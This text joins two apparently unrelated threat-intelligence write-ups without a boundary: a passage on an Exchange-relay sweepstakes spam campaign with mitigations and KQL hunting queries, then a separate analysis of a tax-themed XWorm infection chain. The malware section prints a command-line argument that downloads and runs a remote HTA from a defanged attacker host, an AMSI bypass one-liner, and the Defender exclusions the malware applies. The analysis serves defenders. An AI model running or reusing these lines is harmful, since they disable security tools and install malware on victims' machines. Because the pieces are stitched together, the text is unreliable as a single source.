The spam campaign carried the hallmarks of this actor: programmatically generated messages containing two visible hyperlinked images in the email body, as well as dynamic and randomized content injected within the HTML body of each mail message to evade spam filters. Figure 3.


An example of spam email sent through the Exchange inbound connectorThe hyperlinked images within the spam messages implied to recipients that they were eligible for a prize.


Once clicked, the hyperlink directed recipients to a website where they were asked to complete a survey and provide credit card details to pay for the shipping of their prize.


Familiar brand logos, names, and websites were used throughout the spam email, likely to give an illusion of legitimacy.


Figure 4.


Clicking the image in the spam email leads to this website indicating a prize has been wonThe fine print, visible only by scrolling to the very bottom of a subsequent page, revealed that in providing their credit card information, recipients were not paying a shipping fee for their prize, but were in fact agreeing to be charged fees for several paid subscription services in order to enter into a sweepstakes for the prize.


It is likely the threat actor’s main motive was potential financial gain from people who fell victim to this deceptive sweepstakes spam campaign.


Figure 5.


The fine print shows the chance to win a prize is only through a sweepstakes after paying feesLikely to achieve scale and further maximize the chances of successful email delivery, the actor triggered this spam campaign from cloud-based outbound email infrastructure outside of Microsoft, mainly Amazon SES and Mail Chimp.


These email platforms enable sending of mass bulk email, normally for marketing and other legitimate purposes.


The campaign also utilized techniques to generate unique dynamic URLs underpinning the hyperlinked images within each spam email message, as shown in the examples below.


Examples of dynamic URL generation (domain obfuscated)This spam campaign exclusively targeted consumer email accounts.


In the case of spam messages sent to Microsoft-hosted consumer email accounts (outlook.com), the spam emails were moved into customers’ junk folders before they could be viewed and clicked.


Mitigations While the follow-on spam campaign targets consumer email accounts, this attack targets enterprise tenants to use as infrastructure for this campaign.


This attack thus exposes security weaknesses that could be used by other threat actors in attacks that could directly impact affected enterprises.


As the main initial access vector of the attack was to obtain the admin’s credentials, we recommend organizations take the following steps to reduce their attack surface: Mitigate credential guessing attacks risks A key step in reducing the attack surface is securing the identity infrastructure.


The most common initial access vector observed in this attack was account compromise through credential stuffing, and all the compromised administrator accounts did not have MFA enabled.


Implementing security practices that strengthen account credentials such as enabling MFA raises the cost of an attack.


Enable conditional access policies Conditional access policies are evaluated and enforced every time the user attempts to sign in.


Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as device compliance or trusted IP address requirements.


Enable continuous access evaluation Continuous access evaluation (CAE) revokes access in real time when changes in user conditions trigger risks, such as when a user is terminated or moves to an untrusted location.


Enable security defaults While some of the features mentioned above require paid subscriptions, the security defaults in Azure AD, which is mainly for organizations using the free tier of Azure Active Directory licensing, are sufficient to better protect the organizational identity platform, as they provide preconfigured security settings such as MFA, protection for privileged activities, and others.


Detections for related techniques Leveraging its cross-signal capabilities, Microsoft 365 Defender alerts customers using Microsoft Defender for Office 365, Microsoft Defender for Cloud Apps, Application governance add-on, and Azure Active Directory Identity Protection to detect the techniques covered in the attack through the attack chain.


Each product can provide a different aspect for protection to cover the techniques observed in this attack: Microsoft 365 Defender Suspicious email-sending pattern from new Exchange inbound connector – This alert is generated when a suspicious email-sending pattern originating from a new Exchange inbound connector is detected.


This behavior might suggest that an attacker set a malicious inbound connector to allow anonymous relay through the organization’s Exchange server.


Recommended reading to response for malicious connector incidents: New transport rule removing antispam header –


This alert is generated when a new transport rule to remove antispam header is detected.


Suspicious inbound connector and transport rule created to remove sender email headers – This alert is generated when a suspicious inbound connector and transport rule is created to remove headers that identify the true source address of sender.


This might indicate a spam campaign is ongoing from the organization’s mailbox.


Suspicious Azure AD app creation – This alert is generated when a user account creates Azure Active Directory OAuth application with suspicious characteristics, as observed in this campaign.


Azure AD app registration by risky user – This alert is generated when a user account with high risk score as calculated by AAD Identity Protection is creating a new OAuth application and grants admin consent to it.


Microsoft Defender for Office 365 Microsoft Defender for Office 365 detects threat activity associated with this spamming campaign through the following email security alerts.


Note, however, that these alerts may also be triggered by unrelated threat activity.


We’re listing them here because we recommend that these alerts be investigated and remediated immediately.


Email messages from a campaign removed after delivery. This alert is generated when any messages associated with a campaign are delivered to mailboxes in an organization.


Microsoft removes the infected messages from Exchange Online mailboxes using zero-hour auto purge (ZAP) if this event occurs.


Microsoft Defender for Cloud Apps Activity from suspicious IP addresses.


This alert is generated when there is activity from an IP address that has been identified as risky by Microsoft Threat Intelligence or by the organization.


These IP addresses were identified as being involved in malicious activities, such as performing password spray, botnet C2, and may indicate a compromised account.


Activity from a password-spray associated IP address.


This alert is generated when a successful sign-in from an IP address that had been identified as participating in password spray was observed.


App governance App governance is an add-on to Microsoft Defender for Cloud Apps, which can detect malicious OAuth applications that make sensitive Exchange Administrative activities along with other threat detection alerts.


Activity related to this campaign will trigger the following alert: OAuth app with suspicious metadata has Exchange permission. This alert is generated when a line of business OAuth app with suspicious metadata has privilege to manage permission over Exchange, which can lead an OAuth App to perform data collection or exfiltration activities or attempts to access and retrieve sensitive information.


Azure AD Identity Protection Azure AD Identity Protection automatically detects and remediates identity-based risks.


It detects suspicious sign-in attempts and raises any of the following alerts: Anomalous Token.


This alert flags a token’s unusual characteristics, such as its token lifetime or played from an unfamiliar location.


Unfamiliar sign-in properties.


In this phishing campaign, the attackers used multiple proxies or VPNs originating from various countries or regions unfamiliar to the target user.


This alert flags anomalies in the token claims, token age, and other authentication attributes.


Anonymous IP address.


This alert flag sign-in attempts from anonymous IP addresses (for example, Tor browser or anonymous VPN).Hunting queries To locate related activity, Microsoft 365 Defender customers can run the following advanced hunting queries: Applications given the “Exchange.ManageAsApp” permission: CloudAppEvents | where Timestamp > ago(30d) | where ActionType == "Add app role assignment to service principal.


" | where RawEventData.


ResultStatus == "Success" | where RawEventData has "dc50a0fb-09a3-484d-be87-e023b12c6440" //Exchange.ManageAsApp


Role Id | project Timestamp, AccountObjectId,AccountDisplayName, AppId = RawEventData.ModifiedProperties[0].NewValue, AppName = RawEventData.


ModifiedProperties[6].NewValue New transport rules that remove anti-spam headers from emails: CloudAppEvents | where ActionType == "New-TransportRule" | mvexpand Param = RawEventData.


Parameters | where Param.


Name == "RemoveHeader" and Param.


Value contains "X-MS-Exchange-AntiSpam-MessageData" | project Timestamp, AccountObjectId, AccountDisplayName, ServicePrincipalId = tostring(RawEventData.


AppId)


Affected Platforms: WindowsImpacted Users: Windows usersImpact: Compromised machines are under the control of the threat actor, potentially resulting in stolen personally identifiable information (PII), credential theft, financial loss, etc.Severity Level:

Deja Vu All Over Again Tax Scammers at Large


Medium The time has come again for tax returns—and tax-based scams.


Targeting calendar-based events enables threat actors to prepare ahead of time and have a new selection of targets on rotation.


This blog covers a few examples of malware that take advantage of tax season.


Although such attacks may seem repetitive to the casual observer, threat actors would not continue to target taxpayers if previous attacks had not been successful.


XWorm Delivered Through Tax Scam FortiGuard Labs became aware of a curious-looking archive file hosted on an open directory on www[.]farmaciasmv[.]com/citrix/2022%20tax_documents[.]zip, which has since been removed.


Empty open directory that hosted 2022%20tax_documents[.]zip


The zip file contains the following files: Annual Withdrawal.xlsx (SHA2: 59bb292565ebc86800e5e4d625d3c19f98afe2261d3da1a8e2f9b45ec76153a0) Robert tax_docs.pdf (SHA2: a9f4b054ea128529c62a8ff25f1439651f045e443adf5ff11fb5bd29f1333a7a) Figure 2.


Contents of the 2022%20tax_documents[.]zip The XLSX file is a benign decoy file that contains financial data from an unknown source.


Contents of the Annual Withdrawal.xlsx The other file is malicious.


Despite Robert tax_docs.pdf having a PDF icon, it is different from what it seems.


The file is actually a link (LNK) file that launches the legitimate script (C:\Windows\System32\SyncAppvPublishingServer.vbs), which has a known issue of taking command line arguments.


The link file exploits this issue and feeds the legitimate script with the following command line argument to download and execute a remote “note.hta”: ;\W_\*2\\\m_h_a_e ('http'+'://datacenter002[.]myftp[.]biz/documents/note.


'+'hta')


The downloaded note.hta uses PowerShell to download another remote file hosted on hxxp://datacenter002[.]myftp[.]biz/documents/note[.]gif, which was not available at the time of our investigation.


Finding another note.gif (SHA2: 0487ef401345aa17c6aaeac23151219863e1363f82fe76edd0066bbf3fb07715) based on the same infection chain let us continue our quest to the payload.


note.gif is a PowerShell script that creates the following files: C:\Users\Public\onedrive.vbs (SHA2: 92C1767EE4A954B93D6AFA9AE83FE82B82D2867D919D0359DCF2C8DA75FB8C7C)


C:\Users\Public\test.vbs (SHA2: ADBA59F1495965684EEB4C5DAAD67F732FEB5E9183AE05EB869E20C88CAD7327) C:\Users\Public\onedrive.ps1 (SHA2: 7A9705A424A634A321DB9F36B61D74B953A44D44EDC429F7641BF830870572FC) Once launched, it executes the onedrive.vbs and test.vbs files.


test.vbs creates %usertemp%\Note.txt, a clean file containing fake "QUARTERLY TAX PAYMENTS FOR 2022" data. Figure 4.


Note.txt containing fake “QUARTERLY TAX PAYMENTS FOR 2022” data onedrive.vbs runs the previously created onedrive.ps1 filled with activities designed to hamper Windows Defender.


It first executes the following known AMSI (Antimalware Scripting Interface) bypass:


[Ref].Assembly.GetType(‘System.


Management.


Automation.


AmsiUtils’)


.GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true) It also disables AMSI by hijacking the COM server, changing it from "%windir%\system32\amsi.dll" to "C:\IDontExist.dll".


The PowerShell script then performs the following actions to alter Windows Defender settings: Adds the following exclusions to Windows DefenderExtensions: .bat, .ppam, .xls, .docx, .bat, .exe, .vbs, .js


File paths: C:\, D:\, E:\ Processes: explorer.exe, kernel32.dll, aspnet_compiler.exe, cvtres.exe, CasPol.exe, csc.exe, Msbuild.exe, ilasm.exe, InstallUtil.exe, jsc.exe, Calc.exe, powershell.exe, rundll32.exe, conhost.exe, Cscript.exe, mshta.exe, cmd.exe, DefenderisasuckingAntivirus, wscript.exe Allows known Windows Defender Threat IDs to execute Disables Windows Defender Attack Surface Reduction (ASR) rules Disables the following Windows Defender features:Intrusion Prevention System IO AV Protection (does not scan downloaded files and attachments)